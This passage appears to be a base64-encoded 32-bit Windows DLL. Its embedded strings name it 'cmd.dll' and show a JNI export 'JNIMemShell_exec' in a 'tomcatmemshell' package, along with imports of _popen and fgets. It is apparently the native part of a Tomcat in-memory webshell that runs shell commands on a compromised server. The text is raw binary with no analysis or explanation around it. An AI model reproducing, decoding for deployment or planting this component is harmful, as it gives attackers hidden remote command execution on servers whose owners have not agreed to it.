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HAAABRwAAAUcAAAFHAAABRwAAAUcAAAFHAAABRwAAAUcAAAFHAAABRwAAAUcAAAFHAAABRwAAAUcAAAFHAAABRwAABtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQwHAAAAAAAAAAAMAWwHBwFsBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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xAWiAYAABNOZXh0AAMIEDC+BgAAE3ByZXYAAwkQML4GAAAABl9FWENFUFRJT05fUkVHSVNUUkFUSU9OX1JFQ09SRAAIAwYQFL4GAAAUYQYAAAAUxAYAAAQABQSIBgAAEgQDCxAW8QYAABNIYW5kbGVyAAMMEBzSBAAAE2hhbmRsZXIAAw0QHNIEAAAAEgQDHhAWIAcAABNGaWJlckRhdGEAAx8QCGwEAAATVmVyc2lvbgADIBAI7QMAAAAGX05UX1RJQgAcAxkQI78HAAAHRXhjZXB0aW9uTGlzdAADGhAuvgYAAAAHU3RhY2tCYXNlAAMbEA1sBAAABAdTdGFja0xpbWl0AAMcEA1sBAAACAdTdWJTeXN0ZW1UaWIAAx0QDWwEAAAMFPEGAAAQB0FyYml0cmFyeVVzZXJQb2ludGVyAAMiEA1sBAAAFAdTZWxmAAMjEBe/BwAAGAAFBCAHAAAKTlRfVElCAAMkEAcgBwAAClBOVF9USUIAAyUQFeYHAAAFBMUHAAAKUElNQUdFX1RMU19DQUxMQkFDSwADHBwaDggAABXsBwAABQQUCAAAFikIAAAMbAQAAAztAwAADGwEAAAAF3RhZ0NPSU5JVEJBU0UABwTnAAAACJUOYQgAABhDT0lOSVRCQVNFX01VTFRJVEhSRUFERUQAAAAZVkFSRU5VTQAHBOcAAAAJAQIG7QoAABhWVF9FTVBUWQAAGFZUX05VTEwAARhWVF9JMgACGFZUX0k0AAMYVlRfUjQABBhWVF9SOAAFGFZUX0NZAAYYVlRfREFURQAHGFZUX0JTVFIACBhWVF9ESVNQQVRDSAAJGFZUX0VSUk9SAAoYVlRfQk9PTAALGFZUX1ZBUklBTlQADBhWVF9VTktOT1dOAA0YVlRfREVDSU1BTAAOGFZUX0kxABAYVlRfVUkxABEYVlRfVUkyABIYVlRfVUk0ABMYVlRfSTgAFBhWVF9VSTgAFRhWVF9JTlQAFhhWVF9VSU5UABcYVlRfVk9JRAAYGFZUX0hSRVNVTFQAGRhWVF9QVFIAGhhWVF9TQUZFQVJSQVkAGxhWVF9DQVJSQVkAHBhWVF9VU0VSREVGSU5FRAAdGFZUX0xQU1RSAB4YVlRfTFBXU1RSAB8YVlRfUkVDT1JEACQYVlRfSU5UX1BUUgAlGFZUX1VJTlRfUFRSACYYVlRfRklMRVRJTUUAQBhWVF9CTE9CAEEYVlRfU1RSRUFNAEIYVlRfU1RPUkFHRQBDGFZUX1NUUkVBTUVEX09CSkVDVABEGFZUX1NUT1JFRF9PQkpFQ1QARRhWVF9CTE9CX09CSkVDVABGGFZUX0NGAEcYVlRfQ0xTSUQASBhWVF9WRVJTSU9ORURfU1RSRUFNAEkaVlRfQlNUUl9CTE9CAP8PGlZUX1ZFQ1RPUgAAEBpWVF9BUlJBWQAAIBpWVF9CWVJFRgAAQBpWVF9SRVNFUlZFRAAAgBpWVF9JTExFR0FMAP//GlZUX0lMTEVHQUxNQVNLRUQA/w8aVlRfVFlQRU1BU0sA/w8AGy8AAAAHBOcAAAAKhBAzCwAAGF9fdW5pbml0aWFsaXplZAAAGF9faW5pdGlhbGl6aW5nAAEYX19pbml0aWFsaXplZAACABwvAAAACoYF7QoAAAQzCwAAHV9fbmF0aXZlX3N0YXJ0dXBfc3RhdGUACogrPwsAAB1fX25hdGl2ZV9zdGFydHVwX2xvY2sACokZgQsAAAUEhwsAAB4dX19uYXRpdmVfZGxsbWFpbl9yZWFzb24ACosg9wAAAANfUFZGVgALFBgqBQAAA19QSUZWAAsVFwYFAAAfaAAAAAwLGBD/CwAAIF9maXJzdAALGQz/CwAAACBfbGFzdAALGgz/CwAABCBfZW5kAAsbDP8LAAAIAAUEqAsAABxoAAAACxwDxAsAAA+2CwAAHAwAACEAHV9feGlfYQABKiQRDAAAHV9feGlfegABKyQRDAAAD6gLAABFDAAAIQAdX194Y19hAAEsJDoMAAAdX194Y196AAEtJDoMAAAdX19keW5fdGxzX2luaXRfY2FsbGJhY2sAATciCQgAACJfX3Byb2NfYXR0YWNoZWQAATkM/AAAAAUDDFDAcCJhdGV4aXRfdGFibGUAATsYBQwAAAUDAFDAcB1taW5nd19hcHBfdHlwZQABPQz8AAAAI3BjaW5pdAABRR62CwAABQMMgMBwI19fbWluZ3dfbW9kdWxlX2lzX2RsbAAB2wbQAAAABQMAMMBwJGF0ZXhpdAAHpgEP/AAAAOATwHAbAAAAAZxXDQAAJWZ1bmMAAdYbqAsAAAKRACb3E8BwwRMAACcCdAAFAwBQwHAnAnQE